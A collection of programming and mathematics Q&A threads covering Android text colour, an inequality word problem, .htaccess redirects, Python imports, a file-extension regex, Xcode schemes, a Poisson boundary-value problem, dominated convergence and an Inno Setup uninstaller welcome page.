Comment: Is this android 12 picking a font colour based on your dark wallpaper? https://support.google.com/pixelphone/thread/132146709/in-android-12-can-you-manually-change-text-color-without-using-themes-or-changing-wallpaper?hl=en
Comment: @londonBadger Checks the answer ;)
Comment: Btw how did you managed to run live wp using libGDX. Have been trying since weeks but failing
Answer: If anyone comes across this post because they're facing the same issue, I was able to fix this by using the #FFFFFF tag in the styles.xml file.
Hope this helps!


Confused by a seemingly too simple solution for inequality word problem

Question:
Between a city and a village lie two bike tracks: 35km of paved road, and 20km of dirt road. Because of the thick forest between them, a cyclist can choose to ride only one.
The speed on the paved road is at least 4km/h faster than that on the dirt road, and the time it takes to complete the dirt track is shorter by a half hour than that of the paved road.

In what range of time is it possible to complete the dirt track?
In what range of time would it take for the cyclist to complete both tracks?

I solved the first question, but the second one stumped me:
$$\text{Let }v \text{ be the speed on the dirt road}\\\text{Let }x \text{ be the added speed on the paved road}$$
$$\frac{35}{v+x}=\frac{20}{v} + 0.5$$
From here, you can define $x$ in terms of $v$, and use the inequality $x > 4$, to get the correct range of: $$\boxed{10km/h < v < 16km/h}$$
I don't know how to definitively solve the second question. The total time it takes to complete both tracks would be:
$$t = \frac{35}{v+x} + \frac{20}{v}$$
If you substitute $x = 4$ and the range of $v$ from before, you get the correct answer of:
$$\boxed{3h < t < 4.5h}$$
...But why is this? This was just a pure guess by my part, as my first intuition was to describe $t$ in terms of $x$ for every speed limit & repeat the same process I did in the first question, but that turns into hell. How do I solve this without making this assumption?
Answer: From the first equation, we can solve for $x$:
$$x=\frac{30v-v^2}{v+40}$$
Plug this into the expression for $t$:
$$t=\frac{35}{v+\frac{30v-v^2}{v+40}}+\frac{20}{v}$$
Simplify:
$$t=\frac{40}{v}+\frac 1 2$$
From here, use the fact that $10 < v < 16$ to solve for the possible range of values for $t$.


Redirect with a dash / hyphen

Question: I need to do a redirect of http://www.example.com/2-for-1 to http://www.example/article/1.
Either everything I've tried so far is incorrect or the server is screwed up.
Can someone knowledgeable kindly tell me the correct syntax so I may verify if the server settings are incorrect?
These are some of my more recent attempts:
RewriteRule ^(.*)2(\-)for(\-)1$ http://www.example.com/article/1 [NC,R=301,L]
RewriteRule ^(.*)/2\-for\-1$ /article/1 [NC,R=301,L]
RewriteRule    ^2-for-1/?$    article/1    [NC,L]

Comment: Your last example works for me. Check that you don't have a rule before it that stops it happening, and that you have `RewriteEngine on` in your .htaccess.
Comment: Also, do you want to see the rewritten URL in the browser? If so you need to add the `[R]` flag.
Answer: Enable mod_rewrite and .htaccess through httpd.conf and then put this code in your .htaccess under DOCUMENT_ROOT directory:
Options +FollowSymLinks -MultiViews
# Turn mod_rewrite on
RewriteEngine On
RewriteBase /

RewriteRule ^[^-]+-for-([^/]+)/?$ /article/$1 [R=301,NC,L]

Redirect with a dash / hyphen


Python class definition--import statement

Question: I have defined 2 classes- Person & Manager. The Manager inherits the Person class.
I get a error while trying to import the Person class..
Code is give below.
Person.py
class Person:
    def __init__(self, name, age, pay=0, job=None):
        self.name = name
        self.age  = age
        self.pay  = pay
        self.job  = job

    def lastname(self):
        return  self.name.split()[-1]

    def giveraise(self,percent):
        #return self.pay *= (1.0 + percent)
        self.pay *= (1.0 + percent)
        return self.pay

Manager.py
from Basics import Person

class Manager(Person):
    def giveRaise(self, percent, bonus=0.1):
        self.pay *= (1.0 + percent + bonus)
        return self.pay

Error statements:
C:\Python27\Basics>Person.py
C:\Python27\Basics>Manager.py
Traceback (most recent call last):
  File "C:\Python27\Basics\Manager.py", line 1, in
    from Basics import Person
ImportError: No module named Basics
Why do I get the No module found error?
Answer: You should look up how import and PYTHONPATH work. In your case, you can solve that using:
from Person import Person

I see you're coming from a Java background (where each file must have a class with the same name of the file), but that's not how Python modules work.
In short, when you run a Python script from the command line, as you did, it looks for modules (among other places) in your current dir. When you import a (simple) name like you did, Python will look for:

A file named Basic.py; or:
A folder named Basic with a file named __init__.py.

Then it will look for a definition inside that module named Person.
Answer: Because it's in Person.py, not Basics.py.
from Person import Person

Answer: You defined the Person class in a file named Person.py. Therefore, you should import it like this:
from Person import Person

Note that it's the convention in Python to have lowercase module names. For example, rename Person.py to person.py and Manager.py to manager.py. Then you'd import the Person class like this:
from person import Person

If the person module is part of a package, you'd probably want to import like this:
from .person import Person

This will ease the transition to Python 3.
Answer: from Basics import Person should be from Person import Person. You don't have a Basics.py module to import from.


Regular Expression for retrieving File Extension in HTTP url

Question: I am working on the ELK stack and as part of Logstash data transformation i am transforming data in Apache access logs.
One of the metric needed is to get a stat on different content types (aspx, php, gif, etc.).
From the log file I am trying to retrieve request url and then deduce the file type, for ex /c/dataservices/online.jsp?callBack is the request and I would get .aspx using the regular expression
\.\w{3,4}.
My regular expression wont work for request say /etc/designs/design/libs.min.1253.css this is returning me .min as the extension.
I am trying to get the last extension but it is not working. Please do suggest other approaches.
Answer: You need to anchor the match to the end of the string or the beginning of a query param ?. Try:
\.\w{3,4}($|\?)

Play with it here: https://regex101.com/r/iV3iM1/1
Comment: (\.\w{3,4})($|\?) get group 1 for ignore '?'
Comment: The last `($|\?)` produces an empty capture group. You could probably do `(?:$|\?)` on that one to not capture whatever comes after the extension. Also, to capture only the actual file extension (and not the leading dot) : `\.(\w{3,4})(?:$|\?)`
Comment: Yep, this is a good suggestion.
Answer: You're going to need a much fancier Regex.
Try this one.
([/.\w]+)([.][\w]+)([?][\w./=]+)?

This uses three capture groups.  The first ([/.\w]+) matches your path up to the last .
The second ([.][\w]+) matches the final extension, and you can use the capture group to read it out.
The third ([?][\w./=]+)? matches the query string, which is optional.
Comment: This doesn't work. Just so you're aware - https://regexr.com/6vl2o
Comment: The reason this does not work is that the initial capture group is too restrictive.  There are many characters allowed in a URL that it would not capture, so this breaks.  It worked for the OP's example, but it's easy to make one where it won't.  The accepted answer is better.


Xcode 4 build schemes screwed up every time I change branches in Git

Question: In Xcode 4, when I'm working when an iOS project, the Scheme drop down menu in Xcode's toolbar normally displays a scheme for iPhone X.X Simulator, iPad X.X Simulator and iOS Device.
When changing branches after having done something that affects the *.xcodeproj/project.pbxproj file, all my schemes disappear from the scheme drop down.  If I close the project and reopen it, they come back.  This is extremely annoying.
Here's what I'm doing:

Create a new iOS related project
Stage + Commit everything in the master branch
Create & switch to a new branch
Add a new class to your project and Save All (CMD+S+option) or just build the project to save everything.
Commit that change
Switch back to the master branch

At this point, my schemes are screwed and I have to close the project and reopen it to get them back.
Here's what they look like at the beginning:

Here's what they look like after following the steps I listed:

Does anyone know of a way around this or is this just a bug in Xcode?  I submitted a bug report to Apple about it months ago and have not received a response.  I've also received no response to a question about it in the developer forums.
Update: If you have a project with multiple targets, only the schemes for the selected target get screwed up after switching branches.
Update: Here's my .gitignore
<code># the build
build

# temp nibs and swap files
*~.nib
*.swp

# OS X folder attributes
.DS_Store

# user-specific XCode stuff
*.pbxuser
*.mode1v3
*.mode2v3
*.perspectivev3
*.xcuserstate
project.xcworkspace/
xcuserdata/
</code>
Comment: @melee Yes, the pbxproj file needs to be versioned.
Comment: This sounds like a bug in Xcode. Have you filed a bug with Apple yet at http://bugreporter.apple.com?
Comment: This happens everytime. It's most certainly a bug. I just click in the build target version box (5.0, etc) and then out again and it resets itself.
Comment: Same problem here, anything that changes the pbxproj will screw up the schemes.
Comment: @Pascal do those files NEED to be versioned? I'm not familiar with XCode, but I'd think it might not like the caching or something.
Comment: Is there any line needed to be cleaned up in that files? (http://stackoverflow.com/questions/6064476/xcode4-project-utility-to-clean-up-pbxproj-file) or any conversion taking place that you could prevent? (http://stackoverflow.com/questions/1549578/git-and-pbxproj)?
Comment: @Joey yeah, months ago unfortunately.
Comment: @Dylan Works for me too, that's better than closing/opening the project!
Answer: This happens every time for me. It's most certainly a bug. I just click in the build target version box (5.0, etc) and then out again and it resets itself. No need to open and close the project.
Comment: Can you explain what you mean? This is happening to me in xcode 6.0.1 and I have no idea how to fix it without recreating all my schemes every time.
Answer: Are you adding and committing the .xcodeproj file? I had a similar question here about how to manage the configuration with branches. I think both of the answers may be helpful.
Comment: Yes, I'm committing the .xcodeproj file.  The link you provided is broken.
Comment: Okay. It should be working now. Sorry I couldn't help. I hope it helps someone else.


Is the following PDE boundary value problem well-posed?

Question: My Question

Is the following Poisson boundary value problem well-posed, as stated?

If so, how could I go about solving it?
If not, what would it need to be well-posed?

Does it satisfy the "compatibility constraint" mentioned in the Update section below?
(Bonus!) Are there any potential issues for solving this numerically (e.g. using an implicit finite difference scheme to solve for $\Phi$)?

My Approaches Thus Far
I have tried solving this numerically in MATLAB and Mathematica. Both programs claim to have solved the problem, but upon inspection, neither the governing equation nor any of the boundary conditions are enforced!
Here's the problem:
It's an axisymmetric Poisson problem in spherical coordinates.
Domain

$0 < R_{min} \le r \le R_{max}$
$0 < \theta_{min} \le \theta \le \theta_{max} < \pi$

Governing Equation

$2 r \frac{\partial\Phi}{\partial r} + r^2 \frac{\partial^2\Phi}{\partial r^2} + \cot \theta \frac{\partial\Phi}{\partial\theta} + \frac{\partial\Phi}{\partial\theta^2}  = \frac{A}{8 \pi r^2} \csc\theta \left(1+3 \cos(2 \theta)\right) $

The constant $A$ is known.
Radial Boundary Conditions

$ \frac{\partial\Phi}{\partial r} \bigg|_{r \rightarrow R_{min}}  = -\frac{A \sin \theta}{4 \pi R_{min}^3}$
$ \frac{\partial\Phi}{\partial r} \bigg|_{r \rightarrow R_{max}}  = -\frac{A \sin \theta}{4 \pi R_{max}^3}$

Latitudinal Boundary Conditions

$\frac{\partial\Phi}{\partial\theta} \bigg|_{\theta \rightarrow \theta_{min}}  = \frac{A \cos \left(\theta_{min}\right)}{2 \pi r^2}$
$\frac{\partial\Phi}{\partial\theta} \bigg|_{\theta \rightarrow \theta_{max}}  = \frac{A \cos \left(\theta_{max}\right)}{2 \pi r^2}$

Additional Constraint(?)
Since $\Phi(r,\theta)$ is only constrained by its derivatives, its solution is only uniquely determined up to an additive constant. That is, since $\vec{\nabla} \Phi = \vec{\nabla} \left(\Phi + C\right)$, where $C$ is a uniform constant, we need to specify a value for $\Phi(r,\theta)$ at some point we'll call ($r^\star, \theta^\star$):

$\Phi(r^\star, \theta^\star) = C$

in order to get a unique solution. The particular value of $C$ is irrelevant for me, since I'm only interested in the gradient of $\Phi$ anyway.
Background

The equations given above are greatly-simplified versions of a more general problem I am tackling in my research.
Physically, I'm using the electric scalar potential to calculate the electric field in the given domain, which is an 2D (axisymmetric) slice of a sphere.
Later, it would be neat for the domain to extend to the poles, but for simplicity (and for numerics' sake!), I want the domain to stop short of the poles.

Update!
Evidently, the problem should satisfy a compatibility constraint. See §1.3 of this document for details. I'm not sure how it applies to this PDE, but I would like this to be addressed in the answer.
Thanks!
Answer: Your equation is
$$
     L\Phi=\frac{\partial}{\partial r}r^{2}\frac{\partial\Phi}{\partial r}
    + \frac{1}{\sin\theta}\frac{\partial}{\partial\theta}\sin\theta\frac{\partial\Phi}{\partial\theta}=\frac{A}{8\pi r^{2}}\frac{1}{\sin\theta}(1+3\cos(2\theta)).
$$
Try to find a solution $\Phi_{h}$ of the above equation with homogenous boundary conditions, and then solve $L\Phi_{j}=0$ with homogenous boundary conditions, except for one of the $j=1,2,3,4$ conditions. That would give a solution $\Phi=\Phi_{h}+\Phi_{1}+\Phi_{2}+\Phi_{3}+\Phi_{4}$. The solutions $\Phi_j$ should be unique, and separation of variables should work for these if you're careful about the weight functions you're using.
Comment: @jvriesem : Without the consistency condition, your solution won't have continuous derivatives all the way to the boundary, which is what keeps your consistency argument from holding. That's what I've seen in my limited experience, but it makes sense.
Comment: That's a great approach, but I still don't know if the problem is well-posed. Does it satisfy the "compatibility constraint"?

I tried separation of variables using the expansion given by Eqn. 14 of [this document](http://www.luc.edu/faculty/dslavsk/courses/phys301/classnotes/laplacesequation.pdf), but it didn't work trivially.
Answer: Short answer
It should be well-posed for any domain satisfying $0<R_{min} < R_{max}$ and $0 \le \theta_{min} < \theta_{max} \le \pi$.
Unfortunately, and probably due to some error, the answer seems to depend on whether I analyze this problem in 3D (assuming axisymmetry) or in 2D (on a plane of constant $\phi$)....
Long answer
To be well-posed, the problem must satisfy the consistency condition (or "compatibility constraint"), which is derived thus:
Derivation of the Compatibility Constraint for a general Poisson equation with purely Neumann boundary conditions:
Given the PDE and its boundary conditions:
\begin{align}
    \nabla^2 \Phi \;=&\; f \qquad \text{in the domain $\Omega$}\\
    \left(\vec{\nabla} \Phi\right) \cdot \hat{n} \;=&\; g \qquad \text{on the domain boundary $\partial\Omega$}
\end{align}

We start by integrating the first equation over the entire domain:

\begin{equation}
    \int_{\Omega} \; \nabla^2 \Phi \; dV \;=\; \int_{\Omega} \; f \; dV
\end{equation}

We can then apply the Divergence theorem:

\begin{align}
    \int_{\Omega} \; \nabla^2 \Phi \; dV \;=&\; \int_{\Omega} \vec{\nabla}\cdot \left(\vec{\nabla} \Phi\right) dV \\
    =&\;\int_{\partial\Omega} \left(\vec{\nabla} \Phi\right) \cdot \hat{n} \; dA
\end{align}
where $\hat{n}$ is the unit vector that is perpendicular outward from the domain.

Note that our boundary equation tells us $\left(\vec{\nabla} \Phi\right) \cdot \hat{n} = g$, and substitute it:

\begin{align}
    \int_{\Omega} \; \nabla^2 \Phi \; dV \;=&\; \int_{\partial\Omega} \left(\vec{\nabla} \Phi\right) \cdot \hat{n} \; dA \\
    =&\;\int_{\partial\Omega} g \;dA
\end{align}

The above relations lead to this, the compatibility constraint:

\begin{equation}
    \int_{\partial\Omega} g \;dA \;=\; \int_{\Omega} \; f \; dV
\end{equation}
The physical interpretation of this is that the sum of the sources/sinks of flux in the interior balances the net flux through the boundary.
How the Compatibility Constraint applies to this problem:
\begin{align}
    f \;=\; f(r,\theta) \;=&\; \frac{A}{8 \pi r^4} \csc\theta \left(1+3 \cos(2 \theta)\right) \\ \\
    g \;=\; g(r,\theta) \;=&\;
\begin{cases}
    g_A(r) = \vec{\nabla} \Phi \cdot \left(-\hat{\theta}\right) = -\frac{A \cos (\theta_{min})}{2 \pi r^3},  & \theta = \theta_{min} \\[2ex]
    g_B(\theta) = \vec{\nabla} \Phi \cdot \left(+\hat{r}\right) = -\frac{A \sin (\theta)}{4 \pi R_{max}^3},  & r = R_{max} \\[2ex]
    g_A(r) = \vec{\nabla} \Phi \cdot \left(+\hat{\theta}\right) = \frac{A \cos (\theta_{max})}{2 \pi r^3},  & \theta = \theta_{max} \\[2ex]
    g_D(\theta) = \vec{\nabla} \Phi \cdot \left(-\hat{r}\right) = \frac{A \sin (\theta)}{4 \pi R_{min}^3},  & r = R_{min} \\[2ex]
\end{cases}
\end{align}
Two dimensions
The problem is axisymmetric, so we could perform the integrals in 3D, but for the sake of simplicity, we'll do them in 2D. (I did both and got the same result.)
The 2D version of the above constraint is:
\begin{equation}
    \int_{\partial\Omega} g \;ds \;=\; \int_{\Omega} \; f \; dA
\end{equation}
We can compute the 2D domain integral of $f(r,\theta)$:
\begin{align}
    \int_{\Omega} f \;dA \;=&\; \int_{R_{min}}^{R_{max}} \int _{\theta_{min}}^{\theta_{max}} \; f(r,\theta)\; r \; dr \; d\theta\\
    =&\; \dots \\
    =&\; \frac{A \left(R_{max}^2 - R_{min}^2\right)}{8 \pi R_{max}^2 R_{min}^2} \left[ 3 \cos \theta_{max} - 3 \cos \theta_{min} + 2 \ln\left(\frac{\tan\left(\theta_{max}/2\right)}{\tan\left(\theta_{min}/2\right)}\right) \right]
\end{align}
We can also compute the 1D boundary integral of $g(r,\theta)$ around the rectangular boundary:
\begin{align}
    \int_{\partial\Omega} g \;dA \;=&\; \int_{R_{min}}^{R_{max}} g_A(r) \; dr + \int_{\theta_{min}}^{\theta_{max}} g_B(\theta) R_{max} \; d\theta + \int_{R_{max}}^{R_{min}} g_C(r) \; dr + \int_{\theta_{max}}^{\theta_{min}} g_D(\theta) R_{min} \; d\theta\\
    =&\; \dots \\
    =&\; 0
\end{align}
Equating the two gives:
\begin{equation}
3 \cos \theta_{max} - 3 \cos \theta_{min} + 2 \ln\left(\frac{\tan\left(\theta_{max}/2\right)}{\tan\left(\theta_{min}/2\right)}\right) = 0
\end{equation}
From this it follows that
\begin{equation}
    \cos \theta_{min} - \cos \theta_{max} = \frac{2}{3} \ln\left(\frac{\tan\left(\theta_{max}/2\right)}{\tan\left(\theta_{min}/2\right)}\right)
\end{equation}
This has no real solution, implying that the problem is not well-posed. This is unsatisfactory.
Three dimensions
We can try this in 3D, since the problem is axisymmetric. This shouldn't make a difference, but it's worth a shot:
We can compute the 3D domain integral of $f(r,\theta)$...
\begin{align}
    \int_{\Omega} f \;dV \;=&\;  \int_0^{2 \pi}\int_{\theta_{min}}^{\theta_{max}} \int_{R_{min}}^{R_{max}} \; f(r,\theta)\; r^2 \sin\theta \; dr \; d\theta \; d\phi\\
    =&\; \dots \\
    =&\; \frac{A}{4} \left( \frac{R_{max}-R_{min}}{R_{max}R_{min}}\right)  \big( \theta_{max}-\theta_{min} + 3 \cos\left(\theta_{max}\right) \sin\left(\theta_{max}\right) - 3 \cos\left(\theta_{min}\right) \sin\left(\theta_{min}\right)\big)
\end{align}
...And the 2D surface integral of $g(r,\theta)$:
\begin{align}
    \int_{\partial\Omega} g \;dA \;=&\; \int_0^{2 \pi} \int_{R_{min}}^{R_{max}} r \sin\theta \; g_A(r) \; dr + \int_0^{2 \pi} \int_{\theta_{min}}^{\theta_{max}} r^2 \sin\theta \; g_B(\theta) R_{max} \; d\theta + \int_0^{2 \pi} \int_{R_{max}}^{R_{min}} r \sin\theta \; g_C(r) \; dr + \int_0^{2 \pi} \int_{\theta_{max}}^{\theta_{min}} r^2 \sin\theta \; g_D(\theta) R_{min} \; d\theta\\
    =&\; \dots \\
    =&\; \frac{A}{4} \left( \frac{R_{max}-R_{min}}{R_{max}R_{min}}\right)  \big( \theta_{max}-\theta_{min} + 3 \cos\left(\theta_{max}\right) \sin\left(\theta_{max}\right) - 3 \cos\left(\theta_{min}\right) \sin\left(\theta_{min}\right)\big)
\end{align}
By inspection, we can see that the compatibility constraint is satisfied. Thus, the 3D analysis of the compatibility constraint reveals that the problem is well-posed and has a unique solution (up to an addative constant) for any $0 \le \theta_{min} < \theta_{max} \le \pi$.
Summary
From the 2D analysis, the compatibility constraint implies that there is no physical solution, so the problem is ill-posed.
From the 3D analysis, (which is identical to the 2D case except for the integral over $phi$), there are infinitely many solutions ($0 \le \theta_{min} < \theta_{max} \le \pi$) which satisfy the constraint. This implies that the problem is well-posed for any physical domain.
Physically, this should be a well-posed problem. (Since posting this question, I have other reasons to know this to be true.) I must have made a mistake in my 2D analysis with the integration weights or something. The reason the 2D case fails is because the area element for a plane of constant azimuth is $dA = r \; dr \; d\theta$, while the volume element for the 3D case is $dV = r^2 \sin\theta \; dr \; d\theta \; d\phi$. The $\sin\theta$ makes a big difference for the $\csc\theta$ in $f(r,\theta)$.
Still, rep to anyone who can find the mistake in my analysis of the 2D case.


Convergence related to Dominated convergence

Question: Let X : (Ω, F, P) → (R, B) satisfy E[|X|] < ∞. If $A_n ∈ F$ is a sequence of sets
with $lim_{n\rightarrow \infty} P(A_n) = 0$, then prove that $lim_{n\rightarrow \infty} E[|X|1_{A_n} ] = 0$.
Here is my thought using Dominated convergence theorem,
Since, $|X|I_{A_n} \leq |X|, E[|X|] < \infty $, then By DCT, we have $lim_{n \rightarrow \infty} E[|X|1_{A_n}] = E[lim_{n\rightarrow \infty}|X|1_{A_n}]$. The left thing need to show is $$lim_{n\rightarrow \infty}|X|1_{A_n}=0, a.s.$$
Can anyone help to derive a rigorous proof of the last line?
Btw, if E[|X|] < ∞ , is $X < \infty$ almost surely ?
Answer: In general,
$$|X| 1_{A_n} \to 0 \qquad \text{almost surely}$$
does not hold. Just consider the space $((0,1],\mathcal{B}(0,1])$ endowed with the Lebesgue measure, $X:=1$ and
$$\begin{align*} A_1 &:= \bigg( \frac{1}{2}, 1 \bigg] \\ A_2 &:= \bigg(0, \frac{1}{2} \bigg] \\ A_3 &:= \bigg( \frac{3}{4}, 1 \bigg] \\ A_4 &:= \bigg( \frac{1}{2}, \frac{3}{4} \bigg] \\ \vdots & \end{align*}$$
This means that your approach doesn't work.

Hints: Fix $\epsilon>0$. Obviously,
$$\mathbb{E}(|X| 1_{A_n}) \leq \int_{A_n \cap \{|X| \leq R\}} |X| \, d\mathbb{P} + \int_{A_n \cap \{|X| >R\}} |X| \, d\mathbb{P} =: I_1+I_2$$
for any $R>0$.

Using the monotone convergence, show that we can choose $R>0$ sufficiently large such that $$I_2 \leq \int_{|X|>R} |X| \, d\mathbb{P} < \epsilon.$$
Show that $$I_1 \leq R \mathbb{P}(A_n).$$
Conclude.
Comment: +1. Please excuse my error earlier, I misread the question.


How to create a OuterNotebook/welcome page in the Inno Setup uninstaller?

Question: I am using this code from the answer by Martin Prikryl to Custom Inno Setup Uninstall page (not MsgBox).
How to modify the first page of this code to show a "Welcome"-like page on the OuterNotebook page (i.e. without the MainPanel header)?
Answer: You create the page as any other, except that its parent will be the UninstallProgressForm.OuterNotebook, not the .InnerNotebook.
Tricky part is not how to create the page, but how to implement the Next/Back buttons.
The Next button on the "welcome" page must change the page of the OuterNotebook from the "welcome" page to the UninstallProgressForm.InnerPage. And of course make sure the active page on the .InnerNotebook is the first normal/inner page.
Conversely, the Back button on the first normal/inner page must change the page of the OuterNotebook from the UninstallProgressForm.InnerPage to the "welcome" page.
So modifying my answer to the Custom Inno Setup Uninstall page (not MsgBox) to cater for the above, you will get:
[Files]
Source: "compiler:WizModernImage-IS.bmp"; DestDir: {app}

[Code]

var
  UninstallWelcomePage: TNewNotebookPage;
  UninstallFirstPage: TNewNotebookPage;
  UninstallSecondPage: TNewNotebookPage;
  UninstallBackButton: TNewButton;
  UninstallNextButton: TNewButton;

procedure UpdateUninstallWizard;
begin
  if UninstallProgressForm.InnerNotebook.ActivePage = UninstallFirstPage then
  begin
    UninstallProgressForm.PageNameLabel.Caption := 'First uninstall wizard page';
    UninstallProgressForm.PageDescriptionLabel.Caption :=
      'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
  end
    else
  if UninstallProgressForm.InnerNotebook.ActivePage = UninstallSecondPage then
  begin
    UninstallProgressForm.PageNameLabel.Caption := 'Second uninstall wizard page';
    UninstallProgressForm.PageDescriptionLabel.Caption :=
      'Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.';
  end;

  UninstallBackButton.Visible :=
    (UninstallProgressForm.OuterNotebook.ActivePage <> UninstallWelcomePage);

  if UninstallProgressForm.InnerNotebook.ActivePage <> UninstallSecondPage then
  begin
    UninstallNextButton.Caption := SetupMessage(msgButtonNext);
    UninstallNextButton.ModalResult := mrNone;
  end
    else
  begin
    UninstallNextButton.Caption := 'Uninstall';
    // Make the "Uninstall" button break the ShowModal loop
    UninstallNextButton.ModalResult := mrOK;
  end;
end;

procedure UninstallNextButtonClick(Sender: TObject);
begin
  if UninstallProgressForm.OuterNotebook.ActivePage = UninstallWelcomePage then
  begin
    UninstallProgressForm.OuterNotebook.ActivePage :=
      UninstallProgressForm.InnerPage;
    UninstallProgressForm.InnerNotebook.ActivePage := UninstallFirstPage;
    UpdateUninstallWizard;
  end
    else
  begin
    if UninstallProgressForm.InnerNotebook.ActivePage <> UninstallSecondPage then
    begin
      if UninstallProgressForm.InnerNotebook.ActivePage = UninstallFirstPage then
      begin
        UninstallProgressForm.InnerNotebook.ActivePage := UninstallSecondPage;
      end;
      UpdateUninstallWizard;
    end
      else
    begin
      UninstallNextButton.Visible := False;
      UninstallBackButton.Visible := False;
    end;
  end;
end;

procedure UninstallBackButtonClick(Sender: TObject);
begin
  if UninstallProgressForm.InnerNotebook.ActivePage = UninstallFirstPage then
  begin
    UninstallProgressForm.OuterNotebook.ActivePage := UninstallWelcomePage;
  end
    else
  if UninstallProgressForm.InnerNotebook.ActivePage = UninstallSecondPage then
  begin
    UninstallProgressForm.InnerNotebook.ActivePage := UninstallFirstPage;
  end;

  UpdateUninstallWizard;
end;

procedure InitializeUninstallProgressForm();
var
  PageText: TNewStaticText;
  UninstallWizardBitmapImage: TBitmapImage;
  PageNameLabel: string;
  PageDescriptionLabel: string;
  CancelButtonEnabled: Boolean;
  CancelButtonModalResult: Integer;
begin
  if not UninstallSilent then
  begin
    PageNameLabel := UninstallProgressForm.PageNameLabel.Caption;
    PageDescriptionLabel := UninstallProgressForm.PageDescriptionLabel.Caption;

    // Create the Welcome page and make it active
    UninstallWelcomePage := TNewNotebookPage.Create(UninstallProgressForm);
    UninstallWelcomePage.Notebook := UninstallProgressForm.OuterNotebook;
    UninstallWelcomePage.Parent := UninstallProgressForm.OuterNotebook;
    UninstallWelcomePage.Align := alClient;
    UninstallWelcomePage.Color := clWindow;

    UninstallWizardBitmapImage := TBitmapImage.Create(UninstallProgressForm);
    UninstallWizardBitmapImage.Parent := UninstallWelcomePage;
    UninstallWizardBitmapImage.Width := ScaleX(164);
    UninstallWizardBitmapImage.Height := ScaleX(314);
    UninstallWizardBitmapImage.Bitmap.LoadFromFile(
      ExpandConstant('{app}\WizModernImage-IS.bmp'));
    UninstallWizardBitmapImage.Center := True;
    UninstallWizardBitmapImage.Stretch := True;

    PageText := TNewStaticText.Create(UninstallProgressForm);
    PageText.Parent := UninstallWelcomePage;
    PageText.Left := ScaleX(176);
    PageText.Top := ScaleX(16);
    PageText.Width := ScaleX(301);
    PageText.Height := ScaleX(54);
    PageText.AutoSize := False;
    PageText.Caption := 'Welcome to the My Program uninstall wizard';
    PageText.ShowAccelChar := False;
    PageText.WordWrap := True;
    PageText.Font.Name := 'Verdana';
    PageText.Font.Size := 12;
    PageText.Font.Style := [fsBold];

    PageText := TNewStaticText.Create(UninstallProgressForm);
    PageText.Parent := UninstallWelcomePage;
    PageText.Left := ScaleX(176);
    PageText.Top := ScaleX(76);
    PageText.Width := ScaleX(301);
    PageText.Height := ScaleX(234);
    PageText.AutoSize := False;
    PageText.Caption :=
      'This will uninstall My Program 1.5 from your computer.'#13#10#13#10 +
      'It is recommended that your close all other applications ' +
        'before continuing.'#13#10#13#10 +
      'Click Next to continue, or Cancel to exit Uninstall.';
    PageText.ShowAccelChar := False;
    PageText.WordWrap := True;

    UninstallProgressForm.OuterNotebook.ActivePage := UninstallWelcomePage;

    // Create the first page
    UninstallFirstPage := TNewNotebookPage.Create(UninstallProgressForm);
    UninstallFirstPage.Notebook := UninstallProgressForm.InnerNotebook;
    UninstallFirstPage.Parent := UninstallProgressForm.InnerNotebook;
    UninstallFirstPage.Align := alClient;

    PageText := TNewStaticText.Create(UninstallProgressForm);
    PageText.Parent := UninstallFirstPage;
    PageText.Top := UninstallProgressForm.StatusLabel.Top;
    PageText.Left := UninstallProgressForm.StatusLabel.Left;
    PageText.Width := UninstallProgressForm.StatusLabel.Width;
    PageText.Height := UninstallProgressForm.StatusLabel.Height;
    PageText.AutoSize := False;
    PageText.ShowAccelChar := False;
    PageText.Caption := 'Press Next to proceeed with uninstallation.';

    // Create the second page
    UninstallSecondPage := TNewNotebookPage.Create(UninstallProgressForm);
    UninstallSecondPage.Notebook := UninstallProgressForm.InnerNotebook;
    UninstallSecondPage.Parent := UninstallProgressForm.InnerNotebook;
    UninstallSecondPage.Align := alClient;

    PageText := TNewStaticText.Create(UninstallProgressForm);
    PageText.Parent := UninstallSecondPage;
    PageText.Top := UninstallProgressForm.StatusLabel.Top;
    PageText.Left := UninstallProgressForm.StatusLabel.Left;
    PageText.Width := UninstallProgressForm.StatusLabel.Width;
    PageText.Height := UninstallProgressForm.StatusLabel.Height;
    PageText.AutoSize := False;
    PageText.ShowAccelChar := False;
    PageText.Caption := 'Press Uninstall to proceeed with uninstallation.';

    UninstallNextButton := TNewButton.Create(UninstallProgressForm);
    UninstallNextButton.Parent := UninstallProgressForm;
    UninstallNextButton.Left :=
      UninstallProgressForm.CancelButton.Left -
      UninstallProgressForm.CancelButton.Width -
      ScaleX(10);
    UninstallNextButton.Top := UninstallProgressForm.CancelButton.Top;
    UninstallNextButton.Width := UninstallProgressForm.CancelButton.Width;
    UninstallNextButton.Height := UninstallProgressForm.CancelButton.Height;
    UninstallNextButton.OnClick := @UninstallNextButtonClick;

    UninstallBackButton := TNewButton.Create(UninstallProgressForm);
    UninstallBackButton.Parent := UninstallProgressForm;
    UninstallBackButton.Left :=
      UninstallNextButton.Left - UninstallNextButton.Width - ScaleX(10);
    UninstallBackButton.Top := UninstallProgressForm.CancelButton.Top;
    UninstallBackButton.Width := UninstallProgressForm.CancelButton.Width;
    UninstallBackButton.Height := UninstallProgressForm.CancelButton.Height;
    UninstallBackButton.Caption := SetupMessage(msgButtonBack);
    UninstallBackButton.OnClick := @UninstallBackButtonClick;
    UninstallBackButton.TabOrder := UninstallProgressForm.CancelButton.TabOrder;

    UninstallNextButton.TabOrder := UninstallBackButton.TabOrder + 1;

    UninstallProgressForm.CancelButton.TabOrder :=
      UninstallNextButton.TabOrder + 1;

    // Run our wizard pages
    UpdateUninstallWizard;
    CancelButtonEnabled := UninstallProgressForm.CancelButton.Enabled
    UninstallProgressForm.CancelButton.Enabled := True;
    CancelButtonModalResult := UninstallProgressForm.CancelButton.ModalResult;
    UninstallProgressForm.CancelButton.ModalResult := mrCancel;

    if UninstallProgressForm.ShowModal = mrCancel then Abort;

    // Restore the standard page payout
    UninstallProgressForm.CancelButton.Enabled := CancelButtonEnabled;
    UninstallProgressForm.CancelButton.ModalResult := CancelButtonModalResult;

    UninstallProgressForm.PageNameLabel.Caption := PageNameLabel;
    UninstallProgressForm.PageDescriptionLabel.Caption := PageDescriptionLabel;

    UninstallProgressForm.InnerNotebook.ActivePage :=
      UninstallProgressForm.InstallingPage;
  end;
end;

Note that there's no way to use the built-in images from the installer in the uninstaller. In my simple code above, I install the "welcome" page image to the {app} and load it from there.
